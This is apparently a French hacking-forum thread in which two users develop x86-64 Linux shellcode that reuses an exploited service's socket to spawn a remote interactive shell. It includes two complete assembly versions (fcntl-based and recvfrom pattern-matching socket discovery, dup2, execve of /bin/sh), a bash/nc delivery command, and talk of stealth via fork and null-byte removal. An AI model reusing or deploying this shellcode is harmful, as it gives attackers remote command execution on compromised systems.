[shellcode] Reverse shell over reused socket

[ark]

[gruik]

comme ça au pif, si la socket est bloquante le F_GETFD bloque aussi non ?
sur ce lien on trouve une méthode similaire mais à base de F_GETFL

[ark]

Je viens de tester le coup du F_GETFL et il s'avère que le programme boucle inf sans trouver la socket ; j'ai pas non plus fait comme ce que fait le mec dans son shellecode. Mais bon, trouver le FD ça marche, mon soucis c'est vraiment la partie binding des i/o sur la socket. Si je vire ma boucle pour faire les dup2(), bah le shell spawn bien coté serveur.

Ah oui, et j'ai edit mon premier message pour mettre le code du "getsc" ;)

EDIT :

Shellcode modifié, le problème venait du fait que les dup2 étaient fait sur la socket serveur, donc forcement ca ne marchait pas... Merci à Gruik pour m'avoir éclairé :p

Code ASM :


BITS 64
section .text

    global _start

_start:
    ;; int 0x3
    call start
    db "/bin/sh", 0, 0
    db "-i", 0
    align 4

start:
    xor rdi, rdi        ; We set the fist fd test to 0 because we will underflow to start from 255
    xor rax, rax
    inc rax         ; set rax to a non-zero value (we need that for the condition at check_fd_loop_end)

    jmp check_fd_loop_end

check_fd_loop_start:
    dec dil                        ; This is our fd
    mov r9b, dil

    mov rax, 72     ; call fcntl
    mov rsi, 1      ; use flag F_GETFD // This does detect if the fd is valid, i need to find something to be sure it's our socket
    syscall

    mov dil, r9b

check_fd_loop_end:
    test rax, rax       ; if fcntl() returned 0, we get a valid fd
    jne check_fd_loop_start

;;; Let's dup2() to bind filedescriptors to the socket

    mov rsi, 3
dup_loop:
    mov rax, 33
    dec rsi
    syscall
    test rsi, rsi
    jnz dup_loop

;;; We can now exec our shell
shell:
    mov rdi, [rsp]        ; pointer to the first string "/bin/sh", 0
    lea rax, [rdi + 9]
    mov [rsp + 8], rax
    lea rsi, [rsp]        ; pointer to begining of the tab
    mov qword [rsp + 0x10], 0
    mov rdx, 0
    mov rax, 59
    syscall
 

Bon, c'est encore expérimental puisqu'on est pas encore sur que le FD trouvé est le bon... Je vais faire des recherches pour pouvoir trouver le bon et je vous tiens au courant. :)

Pendant que j'y suis, pour pouvoir executer des commandes après, il va falloir envoyer l'input de notre shell vers notre nc ; on utilisera donc la commande suivante :

Code BASH :


(echo -ne `getsc scode` ; cat) | nc 0 1024
 

[gruik]

Bon, c'est encore expérimental puisqu'on est pas encore sur que le FD trouvé est le bon...

comme dit en pv une technique à mon avis assez fiable consiste à partir du principe que suite à l'exploitation le processus/thread est voué à mourir de toutes façons

du coup l'idée est de faire un read() de 4 octets sur tous les descripteurs prêts à être lus, en partant de 255 et decroissant, jusqu'à tomber sur le motif qu'on aura choisi "TOTO" ou 0xdeadbeef etc. ainsi on est quasi-certain de retrouver la bonne socket

c'est la technique qui était (est ?) utilisée dans le stager_sock_find de metasploit

[ark]

Yep, merci =)

Je vais commencer par implémenter ca, puis je passerai sur de l'optimisation de taille. Et eventuellement du retirage des octets en 0x00.
Au passage, si quelqu'un se sent d'en faire une version 32bits, ca peut etre koule =)

Et sinon, je pensais à également faire un truc plus discret encore, c'est à dire qui rendrait la main qu process une fois qu'on en a fini avec notre shell. Je pensais partir sur un fork avant de faire la recherche de la socket, et puis wait() et return dans le père, ca devrait etre pas trop mal.

Bref, j'vous tiens au courant quoi :)

EDIT :

Bon, alors, j'ai mis en place la technique proposé par Gruik, ça marche pas encore à tous les coups, mais je vois pas encore pourquoi :p
Donc, voici le code :

Code ASM :


BITS 64
section .text

    global _start

_start:
    call start
    db "/bin/sh", 0, 0
    db "-i", 0, 0, 0

start:
    xor rdi, rdi                        ; rdi will contain our fd (but we will use it's sub-register : dil)
    xor rax, rax                      ; Wait, I think I don't need this anymore
    inc rax

    sub rsp, 8                        ; let's make us some space on the stack
    mov dword [rsp], 0            ; and set it to 0

; There we start initializing our syscall recvfrom()
; Those registers won't change when we loop
    mov rsi, rsp
    mov rdx, 4
    xor r8, r8
    xor r9, r9 

    jmp check_fd_loop_end
check_fd_loop_start:

    dec dil                       ; we try the next fd
    mov rcx, 64     ; MSG_DONTWAIT for a non blocking recvfrom
    mov rax, 45                ; syscall recvfrom()
    syscall         ; recvfrom(fd, stack_pointer, 4, flag = MSG_DONTWAIT, NULL, 0));
   
check_fd_loop_end:
    cmp dword [rsp], 0x42424242         ; Comparision with the choosen pattern
    jne check_fd_loop_start

    add rsp, 8                                     ; We restore the stack because we'll need to pop the right addresses next
; Start to dup2()
    mov rsi, 3
dup_loop:
    mov rax, 33
    dec rsi
    syscall
    test rsi, rsi
    jnz dup_loop

; let's get the shell!
    mov rdi, [rsp]
    lea rax, [rdi + 9]
    mov [rsp + 8], rax
    lea rsi, [rsp]
    mov qword [rsp + 0x10], 0
    mov rdx, 0
    mov rax, 59
    syscall
 

J'utilise un appel a recvrom() pour read sur la socket ; j'ai reservé de l'espace sur la stack pour stocker le dword lu. Il est ensuite comparé (0x42424242 == BBBB) et si la comparaison match, on peut lancer le shell sur notre socket.

Pour le lancer, j'ai un peu modifié ma ligne, puisqu'il faut lui envoyer le pattern :

Code BASH :


(echo -ne `getsc scode` ; echo -n BBBB ; cat) | nc 0 1024
 

Voilà! Bon, donc ça, ça drop un shell de temps en temps, il y a des fois ou il part en boucle inf, sans arriver à lire le pattern sur la socket, donc la comparaison reste toujours fausse. C'est assez bizarre, peut etre qu'il n'arrive pas à lire parce qu'il passe trop vite, et le message est pas encore envoyé ; du coup il ne le lit pas. Mais je me dis que dans ce cas il devrait tout de même le lire au deuxieme passage ... Je ne sais pas trop encore, je continue mes recherches ! :p